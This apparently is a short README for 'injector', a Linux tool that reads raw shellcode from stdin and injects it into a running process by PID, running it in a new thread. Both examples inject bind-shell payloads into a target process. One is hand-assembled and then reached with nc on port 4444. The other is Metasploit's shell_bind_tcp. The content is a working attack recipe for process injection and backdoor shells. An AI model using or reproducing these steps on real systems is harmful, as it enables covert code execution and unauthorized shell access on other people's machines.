'injector' takes 1 argument, the pid of the process and reads shellcode's
raw bytes from stdin. after that it creates a payload that will execute the
shellcode in a new thread and it injects it to the process.

Examples: (assume pid = 1234)

Ex1:
    as bind_sh_32.s -o bind_sh_32.o
    objcopy -O binary bind_sh_32.o bind_sh_32.bin
    ./injector 1234 < bind_sh_32.bin
    nc 127.0.0.1 4444

Ex2:
    msfpayload linux/x86/shell_bind_tcp R | ./injector 1234